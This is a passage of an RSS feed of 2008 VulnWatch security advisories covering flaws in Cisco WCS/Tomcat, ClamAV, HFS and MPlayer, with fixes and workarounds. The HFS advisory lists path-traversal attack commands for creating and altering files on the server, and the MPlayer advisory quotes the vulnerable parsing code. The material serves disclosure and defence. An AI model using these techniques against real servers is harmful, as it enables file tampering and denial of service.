iD8DBQFHp2cUyNibggitWa0RAt6mAJ49+DbotNeLAGZsUT+GngtZsKrRJQCeOL0d<BR />
cHhAkwi751HR3NJSPFW7CxA=<BR />
=sS4h<BR />
-----END PGP SIGNATURE-----<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 04 Feb 2008 17:27:16 -0200</pubDate>
<author>CORE Security Technologies Advisories</author>
</item>
<item>
<title>[VulnWatch] Cisco Security Advisory: Cisco Wireless Control System Tomcat mod_jk.so Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0011.html</link>
<description><![CDATA[<BR />
-----BEGIN PGP SIGNED MESSAGE-----<BR />
Hash: SHA1<BR />
<BR />
<BR />
Cisco Security Advisory: Cisco Wireless Control System Tomcat mod_jk.so<BR />
Vulnerability<BR />
<BR />
Advisory ID: cisco-sa-20080130-wcs<BR />
<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml</a><BR />
<BR />
Revision 1.0<BR />
<BR />
For Public Release 2008 January 30 1600 UTC (GMT)<BR />
<BR />
+-----------------------------------------------------------------------<BR />
<BR />
Summary<BR />
=======<BR />
<BR />
Apache Tomcat is the servlet container for JavaServlet and JavaServer<BR />
Pages Web within the Cisco Wireless Control System (WCS). A<BR />
vulnerability exists in the mod_jk.so URI handler within Apache Tomcat<BR />
which, if exploited, may result in a remote code execution attack.<BR />
<BR />
This advisory is posted at <BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml</a>.<BR />
<BR />
Affected Products<BR />
=================<BR />
<BR />
This section provides details on affected products.<BR />
<BR />
Vulnerable Products<BR />
+------------------<BR />
<BR />
Cisco WCS devices running software 3.x and 4.0.x prior to 4.0.100.0 are<BR />
affected by this vulnerability. Cisco WCS devices running software 4.1.x<BR />
and 4.2.x prior to to version 4.2.62.0 are also vulnerable.<BR />
<BR />
Note: The version of WCS software installed on a particular device can<BR />
be found via the WCS HTTP management interface. Select <BR />
&quot;Help -&gt; About the Software&quot; to obtain the software version.<BR />
<BR />
Products Confirmed Not Vulnerable<BR />
+--------------------------------<BR />
<BR />
No other Cisco products are currently known to be affected by this<BR />
vulnerability.<BR />
<BR />
Details<BR />
=======<BR />
<BR />
The Cisco Wireless Control System is a centralized, systems-level<BR />
platform for managing and controlling lightweight access points,<BR />
wireless LAN controllers, and Wireless Location Appliances for the<BR />
Cisco Unified Wireless Network. The Cisco Wireless Control System uses<BR />
Apache Tomcat. A vulnerability in Apache Tomcat may allow for remote<BR />
code execution attacks. The mod_jk.so URI handler does not handle long<BR />
URLs correctly. An insecure memory copy triggers an exploitable stack<BR />
overflow. This vulnerability is documented in CVE-2007-0774 and in Cisco<BR />
bug ID CSCsk18191.<BR />
<BR />
Vulnerability Scoring Details<BR />
+----------------------------<BR />
<BR />
Cisco has provided scores for the vulnerability in this advisory based<BR />
on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in<BR />
this Security Advisory is done in accordance with CVSS version 2.0.<BR />
<BR />
CVSS is a standards-based scoring method that conveys vulnerability<BR />
severity and helps determine urgency and priority of response.<BR />
<BR />
Cisco has provided a base and temporal score. Customers can then<BR />
compute environmental scores to assist in determining the impact of the<BR />
vulnerability in individual networks.<BR />
<BR />
Cisco has provided an FAQ to answer additional questions regarding CVSS<BR />
at<BR />
<BR />
<a href="http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html">http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html</a>.<BR />
<BR />
Cisco has also provided a CVSS calculator to help compute the<BR />
environmental impact for individual networks at<BR />
<BR />
<a href="http://intellishield.cisco.com/security/alertmanager/cvss">http://intellishield.cisco.com/security/alertmanager/cvss</a>.<BR />
<BR />
CSCsk18191 - WCS mod_jk.so Apache Tomcat vulnerability <BR />
<BR />
CVSS Base Score - 10.0<BR />
    Access Vector -            Network <BR />
    Access Complexity -        Low<BR />
    Authentication -           None <BR />
    Confidentiality Impact -   Complete<BR />
    Integrity Impact -         Complete<BR />
    Availability Impact -      Complete<BR />
<BR />
CVSS Temporal Score - 8.3<BR />
    Exploitability -           Functional<BR />
    Remediation Level -        Official-Fix <BR />
    Report Confidence -        Confirmed<BR />
<BR />
<BR />
Impact<BR />
======<BR />
<BR />
Successful exploitation of the vulnerability may result in remote code<BR />
execution.<BR />
<BR />
Software Versions and Fixes<BR />
===========================<BR />
<BR />
Each row of the following software table (below) describes a release<BR />
train and the platforms or products for which it is intended. If a<BR />
given release train is vulnerable, then the earliest possible releases<BR />
that contain the fix are shown in the &quot;First Fixed Release&quot; column. A<BR />
device running a release in the given train that is earlier than the<BR />
release in a specific column (less than the First Fixed Release) is<BR />
known to be vulnerable. The release should be upgraded at least to the<BR />
indicated release or a later version (greater than or equal to the<BR />
First Fixed Release label).<BR />
<BR />
+-------------------------------------------------------------+<BR />
| Affected Releases                       | First Fixed       |<BR />
|                                         | Releases          |<BR />
|-----------------------------------------+-------------------|<BR />
| WCS for Linux and Windows 4.0.x and     | 4.0.100.0         |<BR />
| earlier                                 |                   |<BR />
|-----------------------------------------+-------------------|<BR />
| WCS for Linux and Windows 4.1.91.0 and  | 4.2.62.0          |<BR />
| earlier                                 |                   |<BR />
+-------------------------------------------------------------+<BR />
<BR />
When considering software upgrades, also consult<BR />
<a href="http://www.cisco.com/go/psirt">http://www.cisco.com/go/psirt</a> and any subsequent advisories to determine<BR />
exposure and a complete upgrade solution.<BR />
<BR />
In all cases, customers should exercise caution to be certain the<BR />
devices to be upgraded contain sufficient memory, and that current<BR />
hardware and software configurations will continue to be supported<BR />
properly by the new release. If the information is not clear, contact<BR />
the Cisco Technical Assistance Center (TAC) or your contracted<BR />
maintenance provider for assistance.<BR />
<BR />
Workarounds<BR />
===========<BR />
<BR />
The following workarounds can be implemented.<BR />
<BR />
Transit ACLs (tACL)<BR />
+------------------<BR />
<BR />
Filters that deny HTTPS packets using TCP port 443 should be deployed<BR />
throughout the network as part of a tACL policy for protection of<BR />
traffic which enters the network at ingress access points. This policy<BR />
should be configured to protect the network device where the filter is<BR />
applied and other devices behind it. Filters for HTTPS packets using<BR />
TCP port 443 should also be deployed in front of vulnerable network<BR />
devices so that traffic is only allowed from trusted clients.<BR />
<BR />
Additional information about tACLs is available in &quot;Transit Access<BR />
Control Lists: Filtering at Your Edge&quot;:<BR />
<BR />
<a href="http://www.cisco.com/en/US/tech/tk648/tk361/technologies_white_paper09186a00801afc76.shtml">http://www.cisco.com/en/US/tech/tk648/tk361/technologies_white_paper09186a00801afc76.shtml</a><BR />
<BR />
Additional Mitigation Techniques<BR />
+-------------------------------<BR />
<BR />
Additional mitigation techniques that can be deployed on Cisco devices<BR />
within the network are available in the Cisco Applied Intelligence<BR />
companion document for this advisory:<BR />
<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-amb-20080130-wcs.shtml">http://www.cisco.com/warp/public/707/cisco-amb-20080130-wcs.shtml</a><BR />
<BR />
Obtaining Fixed Software<BR />
========================<BR />
<BR />
Cisco has released free software updates that address this<BR />
vulnerability. Prior to deploying software, customers should consult<BR />
their maintenance provider or check the software for feature set<BR />
compatibility and known issues specific to their environment.<BR />
<BR />
Customers may only install and expect support for the feature<BR />
sets they have purchased. By installing, downloading, accessing<BR />
or otherwise using such software upgrades, customers agree to be<BR />
bound by the terms of Cisco's software license terms found at<BR />
<a href="http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html">http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html</a>, <BR />
or as otherwise set forth at Cisco.com Downloads at<BR />
<a href="http://www.cisco.com/public/sw-center/sw-usingswc.shtml">http://www.cisco.com/public/sw-center/sw-usingswc.shtml</a>.<BR />
<BR />
Do not contact psirt@private or security-alert@private for software<BR />
upgrades.<BR />
<BR />
Customers with Service Contracts<BR />
+-------------------------------<BR />
<BR />
Customers with contracts should obtain upgraded software through their<BR />
regular update channels. For most customers, this means that upgrades<BR />
should be obtained through the Software Center on Cisco's worldwide<BR />
website at <a href="http://www.cisco.com">http://www.cisco.com</a>.<BR />
<BR />
Customers using Third Party Support Organizations<BR />
+------------------------------------------------<BR />
<BR />
Customers whose Cisco products are provided or maintained through prior<BR />
or existing agreements with third-party support organizations, such as<BR />
Cisco Partners, authorized resellers, or service providers should<BR />
contact that support organization for guidance and assistance with the<BR />
appropriate course of action in regards to this advisory.<BR />
<BR />
The effectiveness of any workaround or fix is dependent on specific<BR />
customer situations, such as product mix, network topology, traffic<BR />
behavior, and organizational mission. Due to the variety of affected<BR />
products and releases, customers should consult with their service<BR />
provider or support organization to ensure any applied workaround or<BR />
fix is the most appropriate for use in the intended network before it<BR />
is deployed.<BR />
<BR />
Customers without Service Contracts<BR />
+----------------------------------<BR />
<BR />
Customers who purchase direct from Cisco but do not hold a Cisco<BR />
service contract, and customers who purchase through third-party<BR />
vendors but are unsuccessful in obtaining fixed software through their<BR />
point of sale should acquire upgrades by contacting the Cisco Technical<BR />
Assistance Center (TAC). TAC contacts are as follows:<BR />
<BR />
  * +1 800 553 2447 (toll free from within North America)<BR />
  * +1 408 526 7209 (toll call from anywhere in the world)<BR />
  * e-mail: tac@private<BR />
<BR />
Customers should have their product serial number available and be<BR />
prepared to give the URL of this notice as evidence of entitlement to a<BR />
free upgrade. Free upgrades for non-contract customers must be<BR />
requested through the TAC.<BR />
<BR />
Refer to <a href="http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml">http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml</a><BR />
for additional TAC contact information, including localized telephone<BR />
numbers, and instructions and e-mail addresses for use in various<BR />
languages.<BR />
<BR />
Exploitation and Public Announcements<BR />
=====================================<BR />
<BR />
The Cisco PSIRT is aware of the availability of proof-of-concept<BR />
exploits.<BR />
<BR />
Status of this Notice: FINAL<BR />
============================<BR />
<BR />
THIS DOCUMENT IS PROVIDED ON AN &quot;AS IS&quot; BASIS AND DOES NOT IMPLY ANY<BR />
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF<BR />
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE<BR />
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT<BR />
YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS<BR />
DOCUMENT AT ANY TIME.<BR />
<BR />
A stand-alone copy or Paraphrase of the text of this document that<BR />
omits the distribution URL in the following section is an uncontrolled<BR />
copy, and may lack important information or contain factual errors.<BR />
<BR />
Distribution<BR />
============<BR />
<BR />
This advisory is posted on Cisco's worldwide website at:<BR />
<BR />
<a href="http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml">http://www.cisco.com/warp/public/707/cisco-sa-20080130-wcs.shtml</a><BR />
<BR />
In addition to worldwide web posting, a text version of this notice is<BR />
clear-signed with the Cisco PSIRT PGP key and is posted to the<BR />
following e-mail and Usenet news recipients.<BR />
<BR />
  * cust-security-announce@private<BR />
  * first-teams@private<BR />
  * bugtraq@private<BR />
  * vulnwatch@private<BR />
  * cisco@private<BR />
  * cisco-nsp@private<BR />
  * full-disclosure@private<BR />
  * comp.dcom.sys.cisco@private<BR />
<BR />
Future updates of this advisory, if any, will be placed on Cisco's<BR />
worldwide website, but may or may not be actively announced on mailing<BR />
lists or newsgroups. Users concerned about this problem are encouraged<BR />
to check the above URL for any updates.<BR />
<BR />
Revision History<BR />
================<BR />
<BR />
+-------------------------------------------------------------+<BR />
| Revision 1.0  | 2008-January-30  | Initial public release.  |<BR />
+-------------------------------------------------------------+<BR />
<BR />
Cisco Security Procedures<BR />
=========================<BR />
<BR />
Complete information on reporting security vulnerabilities<BR />
in Cisco products, obtaining assistance with security<BR />
incidents, and registering to receive security information<BR />
from Cisco, is available on Cisco's worldwide website at<BR />
<a href="http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html">http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html</a>.<BR />
This includes instructions for press inquiries regarding<BR />
Cisco security notices. All Cisco security advisories are available at<BR />
<a href="http://www.cisco.com/go/psirt">http://www.cisco.com/go/psirt</a>.<BR />
<BR />
+-----------------------------------------------------------------------<BR />
All contents are Copyright 2006-2007 Cisco Systems, Inc. All rights<BR />
reserved. <BR />
+-----------------------------------------------------------------------<BR />
<BR />
Updated: Jan 29, 2008                               Document ID: 100361<BR />
<BR />
+-----------------------------------------------------------------------<BR />
-----BEGIN PGP SIGNATURE-----<BR />
Version: GnuPG v1.4.7 (FreeBSD)<BR />
<BR />
iD8DBQFHoKf686n/Gc8U/uARAm9sAKCHo6l9iJ87Y3H/UZd96HibLCMPAACfXvk9<BR />
q2P9vDmfgI45MPGr4GRgaY0=<BR />
=Dkxv<BR />
-----END PGP SIGNATURE-----<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 30 Jan 2008 11:58:45 -0500</pubDate>
<author>Cisco Systems Product Security Incident Response Team</author>
</item>
<item>
<title>[VulnWatch] iDefense Security Advisory 02.12.08: ClamAV libclamav PE File Integer Overflow Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0006.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 02.12.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Feb 12, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
Clam AntiVirus is a multi-platform GPL anti-virus toolkit. ClamAV is<BR />
often integrated into e-mail gateways and used to scan e-mail traffic<BR />
for viruses. It supports virus scanning for a wide variety of packed<BR />
Portable Executable (PE) binaries. For more information visit the<BR />
vendor's web site at the following URL.<BR />
<BR />
<a href="http://www.clamav.net/">http://www.clamav.net/</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Remote exploitation of an integer overflow vulnerability in Clam<BR />
AntiVirus' ClamAV, as included in various vendors' operating system<BR />
distributions, allows attackers to execute arbitrary code with the<BR />
privileges of the affected process.<BR />
<BR />
The vulnerability exists within the code responsible for parsing and<BR />
scanning PE files. While iterating through all sections contained in<BR />
the PE file, several attacker controlled values are extracted from the<BR />
file. On each iteration, arithmetic operations are performed without<BR />
taking into consideration 32-bit integer wrap.<BR />
<BR />
Since insufficient integer overflow checks are present, an attacker can<BR />
cause a heap overflow by causing a specially crafted Petite packed PE<BR />
binary to be scanned. This results in an exploitable memory corruption<BR />
condition.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation of this vulnerability results in the execution of arbitrary<BR />
code with the privileges of the process using libclamav. In the case of<BR />
the clamd program, this will result in code execution with the<BR />
privileges of the clamav user. Unsuccessful exploitation results in the<BR />
clamd process crashing.<BR />
<BR />
Address Space Layout Randomization (ASLR) and non-executable memory<BR />
protection technologies (such as DEP, NX, XD, PaX, etc) can help<BR />
mitigate exploitation of this type of vulnerability.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense has confirmed the existence of this vulnerability in ClamAV<BR />
0.92. Previous versions may also be affected.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
Disabling the scanning of PE files will prevent exploitation.<BR />
<BR />
If using clamscan, this can be done by running clamscan with the<BR />
'--no-pe' option.<BR />
<BR />
If using clamdscan, set the 'ScanPE' option in the clamd.conf file to<BR />
'no'.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
The ClamAV team has addressed this vulnerability within version 0.92.1.<BR />
Additionally, the ClamAV team reports, &quot;the vulnerable module was<BR />
remotely disabled via virus-db update on Jan 11th 2008.&quot;<BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2008-0318 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
01/07/2008  Initial vendor notification<BR />
01/11/2008  Initial vendor response<BR />
02/12/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
This vulnerability was reported to iDefense by Silvio Cesare.<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Tue, 12 Feb 2008 12:35:03 -0500</pubDate>
<author>iDefense Labs</author>
</item>
<item>
<title>[VulnWatch] Syhunt: HFS (HTTP File Server) Log Arbitrary File/Directory Manipulation and Denial-of-Service Vulnerabilities</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0008.html</link>
<description><![CDATA[<BR />
Syhunt: HFS (HTTP File Server) Log Arbitrary File/Directory<BR />
Manipulation and Denial-of-Service Vulnerabilities<BR />
<BR />
Advisory-ID: 200801162<BR />
Discovery Date: 1.16.2008<BR />
Release Date: 1.23.2008<BR />
Affected Applications: HFS 2.2 to and including 2.3(Beta Build<BR />
#174)<BR />
Non-Affected Applications: HFS 2.1d and earlier versions<BR />
Class: Arbitrary File/Directory Manipulation, Denial of Service<BR />
Status: Patch available/Vendor informed<BR />
Vendor: Massimo Melina<BR />
Vendor URL: <a href="http://www.rejetto.com/hfs">http://www.rejetto.com/hfs</a> -or- hfs.sourceforge.net<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has<BR />
assigned the following CVEs to these vulnerabilities:<BR />
* CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability<BR />
* CVE-2008-0406 - Denial of Service (DoS) Vulnerability<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Overview:<BR />
HFS is a very popular open source HTTP server designed for<BR />
easily sharing files. According to information on the official<BR />
website, the HTTP File Server software has been downloaded about<BR />
2 million times.<BR />
<BR />
Description:<BR />
HFS (versions 2.2 to 2.3 beta) will not check if an account name<BR />
provided during navigation exists or contains any invalid chars<BR />
before logging information about a request. This is specially<BR />
dangerous if the server has been configured to use account names<BR />
as log filenames.<BR />
<BR />
In this case, a remote attacker can use this flaw to create<BR />
arbitrary files, append data to arbitrary files, create<BR />
arbitrary folders or launch a DoS attack against the server.<BR />
Technical details are included below.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Details (Replicating the issues):<BR />
1) Arbitrary File/Directory Manipulation Vulnerability<BR />
<a href="http://www.syhunt.com/advisories/hfshack.txt">http://www.syhunt.com/advisories/hfshack.txt</a><BR />
See the &quot;mkd&quot; and &quot;manipf&quot; commands<BR />
<BR />
Example 1 - Arbitrary Directory Creation:<BR />
If HFS is running (for e.g.) in the C:\HFS directory, you can<BR />
create the C:\Syhunt\ directory by entering:<BR />
mkd ..\Syhunt<BR />
<BR />
Example 2 - Arbitrary File Creation/Manipulation:<BR />
manipf [localfilename] [remotefilename]<BR />
manipf inject.html ..\Syhunt\index.html<BR />
<BR />
This example would create the file &quot;C:\Syhunt\index.html&quot; and<BR />
append the content of the file &quot;inject.html&quot; to it.<BR />
<BR />
2) Denial of Service (DoS) Vulnerability<BR />
<a href="http://www.syhunt.com/advisories/hfshack.txt">http://www.syhunt.com/advisories/hfshack.txt</a><BR />
&quot;checkdos&quot; command<BR />
<BR />
* HFS will close immediately after receiving the DoS request<BR />
<BR />
* This issue is related to Windows limitations with long<BR />
filenames. XP has a limit of 255 characters; Windows Vista a 260<BR />
chars limit.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Vulnerability Status:<BR />
The vendor was contacted and has immediately released HFS 2.2c<BR />
which fixes these problems. The new version can be downloaded at<BR />
www.rejetto.com/hfs/download or via the &quot;Check for news/updates&quot;<BR />
option in the HFS menu.<BR />
<BR />
As a workaround for the affected releases, users can temporarily<BR />
disable the logging feature or remove the %user% symbol from the<BR />
log filename.<BR />
<BR />
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta<BR />
build.<BR />
<BR />
HFS 2.3 Beta specifically is only affected if the option<BR />
&quot;Accept any login for unprotected resources&quot; is enabled. This<BR />
option, introduced in this version, is disabled by default.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Credit:<BR />
Felipe Aragon and Alec Storm<BR />
Syhunt Security Research Team, www.syhunt.com<BR />
<BR />
---<BR />
<BR />
Copyright © 2008 Syhunt Security<BR />
<BR />
Disclaimer:<BR />
The information in this advisory is provided &quot;as is&quot; without<BR />
warranty of any kind. Details provided are strictly for<BR />
educational and defensive purposes.<BR />
<BR />
Syhunt is not liable for any damages caused by direct or<BR />
indirect use of the information provided by this advisory.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 23 Jan 2008 15:49:51 -0200</pubDate>
<author>Alec Storm</author>
</item>
<item>
<title>[VulnWatch] CORE-2007-1218: MPlayer 1.0rc2 buffer overflow vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0001.html</link>
<description><![CDATA[<BR />
-----BEGIN PGP SIGNED MESSAGE-----<BR />
Hash: SHA1<BR />
<BR />
      Core Security Technologies - CoreLabs Advisory<BR />
           <a href="http://www.coresecurity.com/corelabs">http://www.coresecurity.com/corelabs</a><BR />
<BR />
       MPlayer 1.0rc2 buffer overflow vulnerability<BR />
<BR />
<BR />
*Advisory Information*<BR />
<BR />
Title: MPlayer 1.0rc2 buffer overflow vulnerability<BR />
Advisory ID: CORE-2007-1218<BR />
Advisory URL: <a href="http://www.coresecurity.com/?action=item&id=2103">http://www.coresecurity.com/?action=item&id=2103</a><BR />
Date published: 2008-02-04<BR />
Date of last update: 2008-02-01<BR />
Vendors contacted: MPlayer and Xine team<BR />
Release mode: Coordinated release<BR />
<BR />
<BR />
*Vulnerability Information*<BR />
<BR />
Class: Buffer overflow<BR />
Remotely Exploitable: No<BR />
Locally Exploitable: Yes<BR />
Bugtraq ID: 27441<BR />
CVE Name: CVE-2008-0486<BR />
<BR />
<BR />
*Vulnerability Description*<BR />
<BR />
The MPlayer package [1] is vulnerable to a buffer overflow attack, which<BR />
can be exploited by malicious remote attackers. The vulnerability is due<BR />
to MPlayer not properly sanitizing certain tags on a FLAC file before<BR />
using them to index an array on the stack. This can be exploited to<BR />
execute arbitrary commands by opening a specially crafted file.<BR />
<BR />
The Xine package [2], and probably other packages based on MPlayer [3],<BR />
are vulnerable to this attack too.<BR />
<BR />
<BR />
*Vulnerable Packages*<BR />
<BR />
. MPlayer 1.0rc2 and SVN before r25917 (Tue Jan 29 22:00:58 2008 UTC).<BR />
Older versions are probably affected too, but they were not checked.<BR />
. Xine-lib 1.1.10. Other MPlayer related projects are affected too.<BR />
<BR />
<BR />
*Non-vulnerable Packages*<BR />
<BR />
. MPlayer SVN HEAD after r25917.<BR />
. MPlayer 1.0rc2 + security patches.<BR />
<BR />
<BR />
*Vendor Information, Solutions and Workarounds*<BR />
<BR />
A fix for this problem was committed to SVN on the MPlayer project [4].<BR />
Users of affected MPlayer versions should download a patch [5] for<BR />
MPlayer 1.0rc2 or update to the latest version if they are using SVN.<BR />
<BR />
<BR />
*Credits*<BR />
<BR />
This vulnerability was discovered by Damian Frizza and Alfredo Ortega,<BR />
from the Exploit Writers team of Core Security Technologies.<BR />
<BR />
<BR />
*Technical Description / Proof of Concept Code*<BR />
<BR />
The vulnerability was found in the following code, used to parse FLAC<BR />
comments inside MPlayer:<BR />
<BR />
/-----------<BR />
<BR />
libmpdemux/demux_audio.c<BR />
	<BR />
206 case FLAC_VORBIS_COMMENT:<BR />
207     {<BR />
208        /* For a description of the format please have a look at */<BR />
209        /* <a href="http://www.xiph.org/vorbis/doc/v-comment.html">http://www.xiph.org/vorbis/doc/v-comment.html</a> */<BR />
210<BR />
211        uint32_t length, comment_list_len;<BR />
212 (1)    char comments[blk_len];<BR />
213        uint8_t *ptr = comments;<BR />
214        char *comment;<BR />
215        int cn;<BR />
216        char c;<BR />
217<BR />
218        if (stream_read (s, comments, blk_len) == blk_len)<BR />
219        {<BR />
220 (2)       length = AV_RL32(ptr);<BR />
221            ptr += 4 + length;<BR />
222<BR />
223            comment_list_len = AV_RL32(ptr);<BR />
224            ptr += 4;<BR />
225<BR />
226            cn = 0;<BR />
227            for (; cn &lt; comment_list_len; cn++)<BR />
228            {<BR />
229               length = AV_RL32(ptr);<BR />
230               ptr += 4;<BR />
231<BR />
232               comment = ptr;<BR />
233 (3)           c = comment[length];<BR />
234               comment[length] = 0;						    ...<BR />
<BR />
- -----------/<BR />
<BR />
We can see in (2) that the 'length' variable is being loaded from a<BR />
position on the file stream, and then used without any validation to<BR />
index the 'comment' buffer, that was allocated from the stack in (1).<BR />
This causes a stack corruption, and possibly allows code execution (e.g.<BR />
modifying the value of the 'length' variable, that is also on the stack).<BR />
<BR />
Example Attack Scenario:<BR />
<BR />
1) The user receives an email with an attachment called e.g.<BR />
'goodmusic.flac'.<BR />
2) The user opens the file with MPlayer or another vulnerable software.<BR />
3) This causes a stack corruption and malicious code execution on the<BR />
user computer.<BR />
<BR />
<BR />
*Report Timeline*<BR />
<BR />
. 2007-12-18: Core Security Technologies notifies the MPlayer team of<BR />
the vulnerability (no reply received).<BR />
. 2008-01-04: A new notification of the vulnerability was sent to the<BR />
MPlayer team (no reply received).<BR />
. 2008-01-18: A new notification of the vulnerability was sent to the<BR />
MPlayer team.<BR />
. 2008-01-18: The MPlayer team asked Core Security Technologies for<BR />
technical description of the vulnerability.<BR />
. 2008-01-22: Technical details was sent to MPlayer team by Core<BR />
Security Technologies.<BR />
. 2008-01-28: MPlayer notified Core Security Technologies that a fix had<BR />
been produced.<BR />
. 2008-02-04: CORE-2007-1218 advisory was published.<BR />
<BR />
<BR />
*References*<BR />
<BR />
[1] <a href="http://www.mplayerhq.hu">http://www.mplayerhq.hu</a><BR />
[2] <a href="http://xinehq.de/">http://xinehq.de/</a><BR />
[3] <a href="http://www.mplayerhq.hu/design7/projects.html">http://www.mplayerhq.hu/design7/projects.html</a><BR />
[4]<BR />
<a href="http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_audio.c?r1=25911&r2=25917">http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_audio.c?r1=25911&r2=25917</a><BR />
[5] <a href="http://www.mplayerhq.hu/MPlayer/patches/demux_audio_fix_20080129.diff">http://www.mplayerhq.hu/MPlayer/patches/demux_audio_fix_20080129.diff</a><BR />
<BR />
<BR />
*About CoreLabs*<BR />
<BR />
CoreLabs, the research center of Core Security Technologies, is charged<BR />
with anticipating the future needs and requirements for information<BR />
security technologies. We conduct our research in several important<BR />
areas of computer security including system vulnerabilities, cyber<BR />
attack planning and simulation, source code auditing, and cryptography.<BR />
Our results include problem formalization, identification of<BR />
vulnerabilities, novel solutions and prototypes for new technologies.<BR />
CoreLabs regularly publishes security advisories, technical papers,<BR />
project information and shared software tools for public use at:<BR />
<a href="http://www.coresecurity.com/corelabs/">http://www.coresecurity.com/corelabs/</a>.<BR />
<BR />
<BR />
*About Core Security Technologies*<BR />
<BR />
Core Security Technologies develops strategic solutions that help<BR />
security-conscious organizations worldwide develop and maintain a<BR />
proactive process for securing their networks. The company's flagship<BR />
product, CORE IMPACT, is the most comprehensive product for performing<BR />
enterprise security assurance testing. CORE IMPACT evaluates network,<BR />
endpoint and end-user vulnerabilities and identifies what resources are<BR />
exposed. It enables organizations to determine if current security<BR />
investments are detecting and preventing attacks. Core Security<BR />
Technologies augments its leading technology solution with world-class<BR />
security consulting services, including penetration testing and software<BR />
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core<BR />
Security Technologies can be reached at 617-399-6980 or on the Web at<BR />
<a href="http://www.coresecurity.com">http://www.coresecurity.com</a>.<BR />
<BR />
<BR />
*Disclaimer*<BR />
<BR />
The contents of this advisory are copyright (c) 2008 Core Security<BR />
Technologies and (c) 2008 CoreLabs, and may be distributed freely<BR />
provided that no fee is charged for this distribution and proper credit<BR />
is given.<BR />
<BR />
<BR />
*GPG/PGP Keys*<BR />
<BR />
This advisory has been signed with the GPG key of Core Security<BR />
Technologies advisories team, which is available for download at<BR />
<a href="http://www.coresecurity.com/files/attachments/core_security_advisories.asc">http://www.coresecurity.com/files/attachments/core_security_advisories.asc</a>.<BR />
<BR />
-----BEGIN PGP SIGNATURE-----<BR />
Version: GnuPG v1.4.7 (MingW32)<BR />
Comment: Using GnuPG with Mozilla - <a href="http://enigmail.mozdev.org">http://enigmail.mozdev.org</a><BR />
<BR />
iD8DBQFHp2riyNibggitWa0RApD/AKCtN46G9t/7fMEutRQbUx6uVKonDwCfWYcb<BR />
g+kdvVlvzynfGW8XUUI1v7w=<BR />
=Byqy<BR />
-----END PGP SIGNATURE-----<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 04 Feb 2008 17:43:30 -0200</pubDate>
<author>CORE Security Technologies Advisories</author>
</item>
<item>
